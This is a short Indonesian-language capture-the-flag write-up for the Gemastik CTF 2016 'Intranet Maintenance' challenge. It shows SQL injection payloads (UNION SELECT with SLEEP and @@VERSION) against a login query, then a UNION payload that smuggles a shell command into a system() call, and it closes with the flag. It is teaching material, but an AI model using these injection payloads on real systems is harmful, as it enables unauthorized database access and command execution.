Gemastik CTF 2016 : Intranet Maintenance - 125

by Abdillah Muhamad — on  , 

cover-image

Problem :

Intranet Maintenance

Solusi :

Sesuai dengan clue yang diberikan, kami membuka index.php~ dan menemukan source code file index.php. setelah kami membaca source code tersebut kami melihat kemungkinan untuk melakukan sql injection :

$query = "SELECT * FROM users WHERE email='$email' AND password='$password';";

kemudian kami mencoba union dengan sleep pada kolom email untuk memastikan query berjalan sesuai keinginan kita.

' UNION SELECT SLEEP(10) # < NORMAL

' UNION SELECT SLEEP(10),1 # < NORMAL

' UNION SELECT SLEEP(10),1,1 # < ERROR

Ternyata ditemukan 3 kolom union lalu kami mengecek version dari mysqlnya dengan

' UNION SELECT 1,@@VERSION,1 #

Intranet maintenance mysql

Kemudian kita melihat bahwa input kita masuk ke dalam system() Dan memungkinkan kita untuk melakukan command injection

Intranet maintenance system

Kami kemudian mencoba untuk melakukan injeksi command dengan menggunakan separator ;payload;# Kemudian kami sisipkan command pada kolom email

' UNION SELECT 1,';find;#',1 #

Intranet maintenance find

Dan ditemukan flag pada db.php.save

Intranet maintenance flag

GEMASTIK{just_another_admin_who_dont_care_about_s3cur1ty}

Comments